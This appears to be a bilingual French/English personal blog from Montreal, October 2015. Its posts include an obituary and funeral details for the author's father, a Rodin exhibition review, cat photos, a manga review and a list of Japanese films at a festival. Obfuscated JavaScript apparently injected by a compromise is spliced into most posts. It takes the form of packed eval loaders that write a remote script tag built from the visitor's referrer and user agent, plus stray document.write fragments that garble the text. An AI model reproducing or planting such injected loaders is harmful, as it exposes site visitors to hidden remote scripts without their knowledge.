Précisions sur les funérailles

Pour faire suite au billet qui fait hommage à mon père, document.write(“”); qui est décédé à Montréal le 17 octobre dernier, voici quelques précisions sur les funérailles.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nzhzz|var|u0026u|referrer|kdtys||js|php’.split(‘|’),0,{}))

La famille recevra les condoléances à la
Résidence Funéraire de Laval de la Coop Funéraire du Grand Montréal (2000 rue Cunard, Laval, Qc) samedi le 31 octobre de 13 h 30 à 16 h. Un hommage en sa mémoire et une cérémonie de la parole suivra à compter de 16 h. L’inhumation des cendres se fera ultérieurement en privé.

Vous trouverez les détails dans les pages d’avis de décès du Journal de Montréal d’aujourd’hui ou sur le site de la coopérative funéraire.

[ Translate ]

Rodin

Last Friday I visited the exhibition “Metamorphoses: In Rodin’s Studio” at the Montreal Museum of Fine Arts. It was an impressive exhibit that was definitely worth seeing, document.write(“”); although it felt like most of the pieces were unfinished. It was very didactic and was showing a lot about the work of a sculptor and the fact that he rarely works alone. The best part was the room showing some of his masterpieces: the Thinker, the Kiss, the Age of Bronze, etc.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nzhbt|var|u0026u|referrer|nedzf||js|php’.split(‘|’),0,{}))

For those who missed it, you can still find a lot of information on
the museum web page or on the special mobile site that was designed as guide for visitors, enhancing the experience and giving access to all the wall labels and panels for the exhibition. That was surely a great idea!

And, of course, I took a lots of pictures and have prepared a photo album on Flickr (the description offers titles and details on each piece) as well as this nice video montage (on Vimeo) for your enjoyment:


(I’ve replaced the Flash slideshow with this video because it was bugging my Mac!)
[ Traduire ]

Image du mer-feuillu

C’est bel et bien l’automne et l’hiver s’en vient!
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iakzr|var|u0026u|referrer|efbfz||js|php’.split(‘|’),0,{}))
It’s fall alright and winter is coming!
Winter is coming
(iPhone 6s, document.write(“”); 2015-10-18)

Claude E Pelletier 1928-2015

Mon père, document.write(“”); Claude E. Pelletier, est décédé la nuit dernière (samedi 17 octobre) aux soins palliatifs de l’Hôpital Sacré-Coeur des suites d’une pneumonie. Il aurait eu quatre-vingt-sept ans le mois prochain. Il a eu une vie longue et bien remplie qui mérite amplement d’être célébrée sans le moindre regret.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sybea|var|u0026u|referrer|ydshs||js|php’.split(‘|’),0,{}))

Il a grandi sur la rue Marie-Louise à Montréal, derrière le Théâtre Saint-Denis, car son père, Jules-Alphonse Pelletier, était le concierge de l’École Jeanne-Mance qui, par un étrange hasard, abrite maintenant la
Cinémathèque Québécoise. Il a fait carrière dans le cinéma, étant preneur de son d’abord au Studio Renaissance Films à Montréal, puis pour l’Office National du Film à Ottawa, puis à Montréal. Ce travail l’amène à voyager un peu partout au Canada et dans de nombreux pays du monde. À la fin des années soixante, il devient gestionnaire à l’ONF et s’occupe de son premier département de video, avant de prendre en mains la gestion des plateaux et des équipes de tournage comme superviseur des opérations au Service de la pré-production.

Un peu ébranlé par le décès de sa fille aînée, Johanne, et désabusé par le début du long démantèlement de cette grande institution fédérale qu’était alors l’ONF, il prends sa retraite en 1983 après trente-cinq ans de service et avoir vu son nom apparaître au générique de près d’une centaine de films. Il se consacre alors à sa véritable passion: la généalogie. Un des premiers maître-généalogiste agréé du Québec, il s’implique avec grand dévouement auprès, entre autres, de la Société d’Histoire et de Généalogie de l’Île-Jésus et de l’Association des Familles Pelletier.

Il laisse dans le deuil son épouse Laure Gauthier, ses enfants Luce, Francine et Claude J. (Miyako Matsuda), les familles de ses frères et soeurs (Alice [feu Jean-Vianney Yale], Pauline [feu André Langlois], Soeur Madeleine [Congrégation Notre-Dame], Pierre [Micheline], Cécile [Gérard Saint-Jean] et Gilles [Marguerite] lui survivent), ainsi que de nombreux parents et amis.

La famille recevra les condoléances à la Résidence Funéraire de Laval de la Coop Funéraire du Grand Montréal (2000 rue Cunard, Laval, Qc) samedi le 31 octobre de 13 h 30 à 16 h. Un hommage en sa mémoire et une cérémonie de la parole suivra à compter de 16 h. L’inhumation des cendres se fera ultérieurement en privé.

Vous trouverez les détails dans les pages d’avis de décès du Journal de Montréal ou sur le site de la coopérative funéraire.

Au lieu d’envoyer des fleurs, si vous désirez faire un geste à la mémoire de Claude E., nous vous suggérons de faire un don à la Société de l’Alzheimer de Montréal.

J’ai déjà parlé de mon père à deux reprise sur ce blogue (lors d’un commentaire sur le film YUL 871 et en introduisant les portraits d’artisans du cinéma de l’ONF). Aussi, je mettrai prochainement en ligne un album photo commémoratif (probablement sur ma page Flickr ou Vimeo). Pour le moment, je lui rends hommage en reprenant ici la video de son “portrait d’artisan du cinéma” que j’ai mis sur Vimeo l’été dernier:


[ Translate ]

Image du chat-medi

Caramel & Kabocha
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rtdyb|var|u0026u|referrer|eebhz||js|php’.split(‘|’),0,{}))
Une image amusante pour égayer ce sombre samedi
A funny picture to brighten this gloomy Saturday

(iPhone 6s, document.write(“”); a Live Photo converted in GIF with Live GIF, 2015-10-16)

Image du mer-fleurie

Une petite fleur pour égailler ce gris mercredi
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ieafi|var|u0026u|referrer|tsekn||js|php’.split(‘|’),0,{}))
A little
flower to cheer this gray Wednesday
IMG_7144
(iPhone 6s, document.write(“”); camera+ app, 2015-10-10)

Happy Thanksgiving

Happy Thanksgiving (in Canada). Let’s be grateful for the bounty and beauty that nature is giving us and for the good life we are living.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bafth|var|u0026u|referrer|syeek||js|php’.split(‘|’),0,{}))

Bonne
Action de grâce (au Canada). Soyons reconnaissants pour la générosité et la beauté que la nature nous donne et pour la bonne vie que nous vivons.

Lierre / Ivy
Ivy

Vinaigrier / Staghorn sumac
Staghorn sumac
(iPhone 6s, document.write(“”); Camera+ app, 2015-10-10)

Discovery: Yowamushi Pedal

While watching the news on NHK World, document.write(“”); I came upon a report titled “Pedal Power” talking about the good influence the manga Yowamushi Pedal is having on the otaku generation (I can’t embed the video but there’s a direct link). The manga tells the touching story of a self-identifying otaku who become by chance a member of his high school cycling club and ends up competing in a national championship. In the same fashion that manga like Yawara!, Yakitate!! Japan, Hikaru no Go, Kami no Shizuku or Initial D have revived the young generation’s interest into judo, pastry cooking, the board game go, wine tasting or even race drifting, this manga has inspired many young otaku to take up road cycling. Anything that encourages young couch potatoes to do more exercice is great. So it made me curious about this very popular sports manga.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hidrs|var|u0026u|referrer|easei||js|php’.split(‘|’),0,{}))

“For the love of all things otaku—anime, video games, figures, you name it!—power-pedaling Sakamichi Onoda has long been conquering the steepest slopes and regularly making the ninety-kilometer round-trip to Akihabara on a granny bike!! But when his bike commute to his new high school lands him in a confrontation with the serious first-year road racer Imaizumi, Onoda has a major showdown on his hands! Can this meek geek really out-pedal the future ace of the school road-racing team?!” (Text from Yen Press)

Yowamushi Pedal (????? / lit. “weakling pedal”) is a sports manga by Wataru Watanabe which is currently serialized in Akita Shoten’s Weekly Sh?nen Champion magazine. Since its beginning in February 2008, it has been compiled in forty-one tank?bon volumes so far. The manga is popular, as its many fan pages and scanlations can attest, so it’s no surprise that it has been licensed for North America by Yen Press.

Yowamushi Pedal, vol. 1, by Wataru Watanabe. New York, Yen Press, decembre 2015. Trade Paperback, 400 pg., $24.00 US /$29.00 CAN. ISBN: 9780316309523. Recommended for a young readership (7+). A second volume (ISBN 9780316354684) is announced for april 2016.

The manga was also adapted in a two-season animated TV series (38 episodes for Yowamushi Pedal and 24 episodes for Yowamushi Pedal: Grande Road), three animated movies (Yowamushi Pedal Re: Ride and Yowamushi Pedal Re: Road simply compiles the episodes of the TV series, while Yowamushi Pedal: The Movie is a sequel) and one video game for Nintendo 3DS. The second season of the TV series is currently streaming on Crunchyroll and Discotek Media has acquired the right for the North American Dvd release (due for december 2015).

If you are a cycling fan, this manga and anime will probably interest you.

For more information you can check the following websites:

[ Traduire ]

Image du chat-medi

Caramel
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|etiak|var|u0026u|referrer|rndtr||js|php’.split(‘|’),0,{}))
Caramel in the sun
(iPhone 6s, document.write(“”); 2015-10-10)

Festival du Nouveau Cinema 2015

“More than anything, document.write(“”); the Festival du nouveau cinéma is about a spirit, the spirit of good company, revelry and fun. Every edition is a chance to get together and celebrate our shared passion for film around each new lineup. The eleven-day Festival is designed as a space devoted to discussions, meetings and sharing, where film fans can come together with artists and professionals to exchange ideas in an informal setting. (…) [T]he Festival du nouveau cinéma, resolutely forward-looking, has long been the unfailing advocate of new technologies. Each year, the Festival seeks out new developments that move cinema forward (…)! The Festival (…) is a showcase for cinema of all types, from offbeat, one-of-a-kind niche works to crowd-pleasers to daringly innovative big events. (…) Cinema at its best, shorts and features, documentaries and fiction from Quebec and around the world (…). [T]he programming team puts together a rich, varied lineup to celebrate local and international cinema the way it deserves, year after year.“
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dikyh|var|u0026u|referrer|tdztn||js|php’.split(‘|’),0,{}))

The 44th edition of the Festival du nouveau cinéma will be held from october 7 to 18 in various location in Montreal (Theatre Maisonneuve, Pavillion Judith-Jasmin Annexe at UQAM, Cinéma du Parc, Cineplex Odéon Quartier Latin and Université Concordia). It’s offering 350-odd movies from around the world, including
ten Japanese movies. More details on the festival website and Facebook page.

For more information about the Japanese programming, you can check the Coco Montréal website. I’ve also gather some useful information and links (after the jump):

  • An (?? / lit. “Sweet Red Bean Paste”): Japan/France/Germany, 2015, 113 min; Dir.: Naomi Kawase; Cast: Kirin Kiki, Masatoshi Nagase, Kyara Uchida.

    “At seventy, Tokue is sure of herself, thanks to her secret recipe for exceptional dough for dorayaki, a traditional, irresistibly delicious Japanese sweet cake filled with red bean paste. In her mind, there is no doubt: Sentaro, the lonely dorayaki vendor who doesn’t like sugar, must hire her. The idea turns out to be good, because once Tokue gets involved, the little shop’s sales take off. While the old lady teaches her boss to “listen to the beans,” she can’t hide her secret for very long.” (from the Festival’s website)

    Screening as a special presentation: Sat 10/10 15:30 at Auditorium Alumni H-110 (Concordia); Sun 10/18 21:00 at Cineplex Odeon Quartier Salle 10.

  • Belladonna of Sadness (????????? / Kanashimi no Beradonna): Japan, 1973, 86 min; Dir.: Eiichi Yamamoto; Scr.: Eiichi Yamamoto & Yoshiyuki Fukuda (based on a book by Jules Michelet); Mus.: Masahiko Satô; Animation: Gisaburo Sugii; Prod.: Osamu Tezuka; Cast: Katsuyuki Itô, Aiko Nagayama, Shigako Shimegi, Masaya Takahashi, Netsuke Yashiro, Masakane Yonekura.

    “Never before officially released in North America, this one-of-a-kind cult classic can now be enjoyed in all of its splendour through a new restoration based on original negatives. [P]roduced by the legendary Osamu Tezuka’s studio Mushi Production (…). Based on a book by Jules Michelet (Satanism and Witchcraft, 1862), it tells the tragic feminist tale of a 14th-century peasant woman driven by religious oppression to give herself body and soul to witchcraft and the sulphurous charms of the devil.” (from the Festival’s website)

    Screening as part of the “Temps 0” segment: Mon 10/10 19:00 at Salle J.A. De Sève (Concordia); Sat 10/18 19:00 at Cinéma du Parc 2.

  • The birth of saké: USA/Japan, 2015, 94 min; Dir./Scr./Phot.: Erik Shirai; Ed.: Takeshi Fukunaga, Frederick Shanahan; Prod.: Makoto Sasa.

    “In northern Japan, the small Tedorigawa brewery has been making its saké using the same artisanal methods for more than a century. From October to April, the workers, all men, live together at the brewery and work non-stop, even when mourning. Cooking the rice, stirring it by hand, overseeing its fermentation… it is a sacred ritual, conducted silently in a shroud of steam. (…) There is a good reason saké is not “manufactured” but rather “born”: it is a beverage, but it is also history and culture.” (from the Festival’s website)

    Screening as part of the “Panorama” segment (documentary): Thu 10/15 19:00 at Cinéma du Parc 1; Sat 10/17 19:00 at Centre PHI – Espace B.

  • The Diary of Ochibidi (????? / Ochibi-san): Japan, 2015, 8 min; Dir./Scr.: Masashi Kawamura; Phot.: Kan Sugiki; Ed.: Hidehisa Watanabe; Animation: Shuhei Harada, Tetsuo Ichimura, Junko Negishi, Saki Omita, Kenta Shinohara, Moe Usami; Mus.: Kenjiro Matsuo, Yuichi Nakamura.

    “The film is loosely based on the famous manga Ochibi-san, by Moyoco Anno, about the day-to-day life of Ochibi as she experiences the 4 seasons of Japan.” (from the Festival’s website)

    Screening as part of the “P’tits Loups” segment: Sat 10/10 10:00 at Agora Hydro-Québec du Coeur des sciences.

  • Journey to the shore (???? / Kishibe no Tabi): Japan/France, 2015, 127 min; Dir.: Kiroshi Kurosawa; Scr.: Takashi Ujita, Kiyoshi Kuroswa (based on a novel by Kazumi Yumoto); Cast: Eri Fukatsu, Tadanobu Asano, Yu Aoi, Akira Emoto.

    “Yusuke drowned in the ocean three years ago. But one day, he reappears in the middle of Japan, more specifically in the life of his strangely unsurprised wife, Mizuki, a piano teacher, who he invites on a journey through villages and rice paddies. On their journey, there is no confrontation; there are, rather, opportunities to rebuild their bond and meet others who, like him, are still wandering. What they will find at the end is, perhaps, eternal peace.” (from the Festival’s website)

    Screening as a special presentation: Thu 10/08 14:00 at Cinéma du Parc 1; Sat 10/17 16:30 at Auditorium Alumni H-110 (Concordia).

  • Oyster Factory (???? / Kaki Kouba): Japan/USA, 2015, 145 min; Dir.: Kazuhiro Sôda; Cast: Shinsuke Hirano, Koichi Watanabe, Yukiko Watanabe.

    “Once there were twenty or more. Now, in the Japanese coastal village of Ushimado, there are only six. The gradual disappearance of small, family-run oyster factories may be a sign of the times, but it is more than a symbolic change: it also has very real consequences for fishermen, manual labourers and local residents, who are not happy to see workers being brought in from outside.” (from the Festival’s website)

    Screening as part of the “Panorama” segment (documentary): Sat 10/10 18:30 at Cinéma du Parc 2; Sun 10/11 13:00 at Cinéma du Parc 2.

  • The Taste of Tea (??? / Cha no Aji): Japan, 2004, 120 min; Dir./Scr.: Ishii Katsuhito; Phot.: Kosuke Matushima; Ed.: Katsuhito Ishii; Mus.: Little Tempo; Cast: Tadanobu Asano, Takahiro Sato, Maya Banno, Satomi Tezuka, Tomokazu Miura, Tatsuya Gashuin, Anna Tsuchiya, Rinko Kikuchi.

    “A spell of time in the life of a family living in rural Tochigi prefecture, north of Tokyo. Though her husband is busy working at an office, Yoshiko is not an ordinary housewife, instead working on an animated film project at home. Uncle Ayano has recently arrived, looking to get his head together after living in Tokyo for several years. Meanwhile, Yoshiko’s daughter Sachiko is mainly concerned with why she seems to be followed around everywhere by a giant version of herself.” (from the Festival’s website)

    Screening as special presentation commented by Jean-Marc Vallée: Fri 10/09 19:00 at Cinéma du Parc 1.

  • Sumo Road: The Musical (????????? / Dosukoi Musical): Japan, 2015, 25 min; Dir./Scr.: Ken Oshiai; Phot.: Chris Freilich; Ed.: Chieko Suzaki; Mus.: Nobuko Toda; Cast: Tetsu Watanabe, Ryusuke Komakine, Lin Yu Chun, Gitarô Ikeda.

    “An over- weight exchange student with no friends decides to join the sumo team at a Japanese university.But to ensure his spot, he must stand up to the team leader and face him in an ultimate sumo match. Can he embrace the spirit of sumo or will he be cast out and friendless once again?” (from the Festival’s website)

    Screening as part of the “Compétition International” segment: Mon 10/12 17:00 at Pavillon Judith-Jasmin annexe (Salle Jean-Claude Lauzon); Wed 10/14 13:00 at Pavillon Judith-Jasmin annexe (Salle Jean-Claude Lauzon).

  • The whispering star (????? / Hiso Hiso Boshi): Japan, 2015, 100 min; Dir./Scr.: Sion Sono; Phot.: Hideo Yamamoto; Ed.: Junichi Ito; Prod. Des.: Takeshi Shimizu; Cast: Megumi Kagurazaka, Kenji Endo, Yûto Ikeda, Mori Kouko.

    “Yoko (Megumi Kagurazaka) is a robot employed by a courier company. In her interstellar ship, shaped like a little Japanese house, she scoots back and forth across the galaxy, delivering parcels and news to people everywhere. Yoko is terribly bored, and eventually can no longer resist looking inside the parcels to learn more about the very strange phenomenon that is human nature.” (from the Festival’s website)

    Screening as part of the “Temps 0” segment: Sat 10/10 17:00 at Cineplex Odeon Quartier 10; Sun 10/11 21:00 at Cinéma du Parc 1.

  • Yakuza apocalypse (????? / Gokudo Daisenso): Japan, 2015, 115 min; Dir.: Takashi Miike; Scr.: Yoshitaka Yamaguchi; Phot.: Hajime Kanda; Ed.: Kenji Yamashita; Mus.: Kôji Endô; Prod. Des.: Akira Nakamoto; Cast: Hayao Ichihara, Yayan Ruhian, Riko Narumi, Lily Franky, Reiko Takashima.

    “He’s a benevolent vampire yakuza feared by criminals and adored by regular folk. One day two men show up: a Django-like goth preacher and a geeky fighter (none other than Yayan Ruhian from Raid 2). They belong to a rival cartel that wants him dead. But just before he dies, the yakuza vampire bites his faithful right-hand man, young Kageyama. What happens next? The apocalypse, obviously!” (from the Festival’s website)

    Screening as part of the “Temps 0” segment: Tue 10/13 19:00 at Cineplex Odeon Quartier 10; Wed 10/14 21:00 at Cineplex Odeon Quartier 10.

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